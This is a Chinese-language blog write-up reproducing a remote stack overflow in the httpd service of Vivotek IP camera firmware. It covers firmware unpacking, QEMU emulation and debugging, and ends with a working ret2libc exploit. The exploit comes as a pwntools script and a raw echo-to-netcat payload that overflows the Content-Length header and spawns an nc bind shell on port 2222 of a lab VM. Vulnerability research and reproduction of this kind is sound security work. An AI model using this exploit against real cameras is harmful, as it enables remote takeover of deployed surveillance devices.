Vivotek远程栈溢出漏洞分析与复现

0x01 前言

2017年11月披露的vivotek的一个栈溢出漏洞，漏洞发生在其固件中的httpd服务，其未对用户post的数据长度做校验，导致攻击者可以发送特定的数据使摄像头进程崩溃，甚至任意代码执行。这边看到后觉得挺有意思的，打算复现下。

贴一下漏洞作者放出的poc ： https://www.exploit-db.com/exploits/44001

再贴一下影响版本：

CC8160 CC8370-HV CC8371-HV CD8371-HNTV CD8371-HNVF2 FD8166A
FD8166A-N FD8167A FD8167A-S FD8169A FD8169A-S FD816BA-HF2
FD816BA-HT FD816CA-HF2 FD8177-H FD8179-H FD8182-F1 FD8182-F2
FD8182-T FD8366-V FD8367A-V FD8369A-V FD836BA-EHTV FD836BA-EHVF2
FD836BA-HTV FD836BA-HVF2 FD8377-HV FD8379-HV FD8382-ETV FD8382-EVF2
FD8382-TV FD8382-VF2 FD9171-HT FD9181-HT FD9371-EHTV FD9371-HTV
FD9381-EHTV FD9381-HTV FE8182 FE9181-H FE9182-H FE9191
FE9381-EHV FE9382-EHV FE9391-EV IB8360 IB8360-W IB8367A
IB8369A IB836BA-EHF3 IB836BA-EHT IB836BA-HF3 IB836BA-HT IB8377-H
IB8379-H IB8382-EF3 IB8382-ET IB8382-F3 IB8382-T IB9371-EHT
IB9371-HT IB9381-EHT IB9381-HT IP8160 IP8160-W IP8166
IP9171-HP IP9181-H IZ9361-EH MD8563-EHF2 MD8563-EHF4 MD8563-HF2
MD8563-HF4 MD8564-EH MD8565-N SD9161-H SD9361-EHL SD9362-EH
SD9362-EHL SD9363-EHL SD9364-EH SD9364-EHL SD9365-EHL SD9366-EH
SD9366-EHL VS8100-V2

vivotek官网固件下载地址：http://www.vivotek.com/firmware/

0x02 环境搭建

固件下载

vivotek官网并没有发布漏洞固件的历史版本，深夜去国外各大网站上去爬贴找资源，然鹅并没有找到，想喷一波，没有固件降级好傻，看到一堆国外友人吐槽不能版本降级。在漏洞发现者的github上找vulnable firmware的过程中看到了有同样诉求的老哥，看来遇到战友了，果断留issue占楼。

看到作者也留言了233333333。

没办法，没有钱买vivotek摄像头，无法通过串口啥的提固件；只能去官网找技术支持，装一波升级固件后无法启动控制台的小可怜~

客服小姐姐还是很温柔的，固件到手，不忘了再github issue放一波资源。

固件解包

拿到固件后binwalk跑一下，发现文件系统在_31.extracted/_rootfs.img.extracted/squashfs-root这个目录下

看到httpd的类型，32位的arm程序，小端，动态链接，而且符号表被裁23333333

服务运行

解包以后就能看到漏洞服务httpd了，由于是arm架构，x86不能直接跑，这边用qemu模拟arm环境运行服务。

这边遇到两个坑点，一个是一开始运行httpd的时候会显示gethostbyname::success，然鹅httpd进程并没有成功启动，httpd文件丢ida

这边涉及两个主要函数，一个是gethostname,它获取本机主机名，将结果存放在rlimits变量中；另一个是gethostbyname,这个函数通过rlimits中存放的主机名寻找ip。这边由于固件hostname中的主机名和宿主机中的hostname有冲突，导致gethostbyname并不能正确的找到主机名对应的ip。

这边把宿主机和固件hosts文件中的主机名改成一致就行了。

另一个坑点就比较坑了。改完hostname并不能成功运行，httpd服务启动会报一个Could not open boa.conf for reading的错，同样ida里回溯关键字符串引用，找到如下代码

发现是无法找到/etc/conf.d/boa/boa.conf这个文件，固件目录下看了一下发现/etc中的conf.d是一个软链接，指向../mnt/flash/etc/conf.d

进../mnt/flash/etc/conf.d看了下，发现并没有conf.d文件夹，emmmmmmm

一开始以为是binwalk解包方式不对，导致文件缺失，然鹅windows下用7zip提取依旧是显示缺文件；猜测etc文件是不是存放在其它包里，果不其然...........

找到对应版本固件的包，将其中的etc文件夹复制到文件系统下的 /mnt/flash/中覆盖原本的etc文件夹。看一下软连接应该是链接正常了，颜色都变了23333333，这下就能成功运行服务了。

调试环境

运行漏洞作者提供的poc发现能导致httpd程序崩溃

然鹅，光能让服务崩溃最多只是个dos拒绝服务，我还想进一步的去观察，去看这个漏洞服务是否能被利用。对这个程序的调试应运而生。

调试的话需要搭建qemu虚拟机，贴下arm-debian的qemu镜像地址：https://people.debian.org/~aurel32/qemu/armel/

开启虚拟机：

sudo tunctl -t tap0 -u `whoami` #这边新建一张网卡和虚拟机进行通信
sudo ifconfig tap0 192.168.2.1/24 #给网卡配置ip
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1"  -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic  #启动虚拟机镜像

之后对虚拟机进行一系列配置：

sudo mount -o bind /dev ./squashfs-root/dev #将固件文件系统下的dev目录挂载到虚拟机/dev
sudo mount -t proc /proc ./squashfs-root/proc #将固件文件系统下的proc目录挂载到虚拟机/proc
ifconfig eth0 192.168.2.2/24 #配置虚拟网卡ip 使其能与主机通信
chroot ./squashfs-root/ sh #以指定目录为根弹出一个shell

默认/dev和/proc在chroot的时候是不会挂载的，所以这边才需要手动挂载。

这边选择远程调试，因为首先要考虑到arm-debian原生镜像并不带gdb，apt-get下载太慢，交叉编译又很烦，而且更重要的是不太直观。这边其实是想ida远程调的，但是这边并没有用这种方法调，后面说原因。

//其实是尝试过交叉编译的，armgdb还好说，32位的arm-gdbserver压力就比较大了，可能qemu虚拟机撑不住，果断弃坑，用别人的多好，何必重复造轮子(滑稽)

贴下已经编译好的各个平台上的gdb&gdbserver地址：https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static

考虑到qemu虚拟机中下载太慢，这边先下到主机用python -m SimpleHttpServer传过去就好了。

之后就可以gdbserver调一下了，这边httpd运行后会显示pid，gdbserver直接attach就好了。

这边虚拟网卡其实最好用桥接，NAT的话ida无法远程调，但是配置桥接网卡还是有点烦的，而且这里没必要，因为这个arm-pwn相对来说还是比较好利用的。所以直接宿主机target remote调了。

0x03 开始调试

寻找漏洞点

宿主机target remote上去，向服务端口发送poc，发现崩溃，查看崩溃时各寄存器数值并进行栈回溯查看函数调用

由被调试程序崩溃后的寄存器值可以发现，程序返回时的r4、r5、r6、r7、r8、r9、r10、r11以及pc都被poc中的字符串覆写，由于pc指向了无效地址，所以程序报错。

贴下作者的poc：

echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"  | netcat -v 192.168.2.2 80

通过对Content-Length的交叉引用找到漏洞点

这边就是漏洞所在，程序没有对content-length字段进行校验，直接用strcpy把content-length字段的值复制到长度为4的dest数组中。由于没有进行校验，内容长度字段可以任意指定，而dest缓冲区距栈底只有0x38字节，不溢出才怪了。

构造溢出

知道了漏洞点的位置以及形成原因，这边来尝试构造一下。需要注意的是，arm下的函数调用的栈布局和x86下是有很大不一样的，函数的返回地址是专门由寄存器LR保存的，这边content-length的长度超过0x38-4字节就会把LR覆盖成其它内容；有关arm的一些东西打算下期写一篇总结下，通过这篇复现还是学到不少arm常识的。

checksec看了下httpd的编译保护来决定通过什么方式利用，这边程序只开启了nx，所以无法直接写shellcode；ret2libc的话是个不错的选择，但前提是vivotek实体机上没有开aslr，否则的话还是要先泄露libc基址，然后再获取一次输入，相对来说会比较烦一点；但是考虑到IoT设备为效率考虑一般是不会开aslr的，所以这边直接通过ret2libc来进行利用。

0x04 漏洞利用

利用思路

qemu的arm-debian虚拟机中先关闭aslr：echo 0 > /proc/sys/kernel/randomize_va_space

由于没有开启aslr，那么堆栈地址、text&data段地址、libc加载基址都是固定的，并不需要泄露libc基址。

libc基址知道，偏移固定，system函数地址相当于也知道，接下来就是参数的传递问题了。

x86下的函数是通过栈来传参，但是在mips和arm中，会优先通过寄存器传参，有点类似x64，arm中的函数参数优先通过r0-r3进行传递；system函数的参数就存放在r0中，而内容长度是存放在栈上的，所以这边需要一条gadget链来让r0指向栈上指定的内容。

这边选取的gadget如下：

0x00048784 : pop {r1, pc} 
0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}

为什么不直接选pop {r0,pc}，因为pop {r0,pc}对应的地址0x00033100中有截断符\x00，且libc基址最后也是\x00，所以用pip {r0,pc}会导致输入中断，无法继续利用。所以这边只能通过先将参数地址传给r1，之后再mov到r0中去。

让r0指向栈上指定的内容，之后再执行system函数就能任意代码执行了。

利用脚本

#encoding=utf-8
#!/usr/bin/python

from pwn import *
from os import *
libc_base =  0x76f2d000   # libC 库在内存中的加载地址
stack_base = 0x7effeb60 # 崩溃时 SP 寄存器的地址
libc_elf = ELF('./libuClibc-0.9.33.3-git.so')

payload = (0x38 - 4) * 'a' # padding
payload +=  p32(0x00048784 + libc_base) # gadget1
payload += p32(0x80 + stack_base) # 栈中命令参数地址
payload += p32(0x00016aa4 + libc_base) # gadget2
payload += (0x8 * 'a')  # padding
payload += p32(libc_elf.symbols['system'] + libc_base) # 内存中 system() 函数地址
payload += ('pwd;' * 0x100 + 'nc\x20-lp2222\x20-e/bin/sh\x20>') # 命令参数



payload = 'echo -en "POST /cgi-bin/admin/upgrade.cgi \nHTTP/1.0\nContent-Length:{}\n\r\n\r\n"  | nc -v 192.168.2.2 80'.format(payload)
os.system(payload)

字节码

由于复现漏洞的虚拟机中并没有pwntools，所以整理成字节码直接跑，有点硬核233333333

echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x84\x57\xf7\x76\xe0\xeb\xff\x7e\xa4\x3a\xf4\x76aaaaaaaa\xb0\x4a\xf7\x76pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;nc -lp2222 -e/bin/sh >\n\r\n\r\n" | nc -v 192.168.2.2 80

0x05 复现

通过此漏洞在远端2222端口反弹一个shell，本地nc过去，成功getshell~。

到这边整个复现过程就算结束了，其实调试和运行环境布置在树莓派上应该会更好一点，能ida远程调就爽的一批了。

0x06 总结

这次的复现过程真的值得好好去讲讲，去回味，漏洞本身是不难的，只是一个栈溢出，但是在真实环境下，在IoT环境下，它又是那么与众不同。

这次的复现真的让我学会了很多，固件、社工(滑稽)、qemu、远程调试、交叉编译、arm语法，甚至arm-pwn.......

更重要的是，它让我知道了对一个一开始觉得高不可攀无法解决的问题如何起手。

ps:调试阶段的时候玩gdbserver触发了一个double free，先去看看是否有相关的漏洞，没有的话过几天调一波~

加油加油~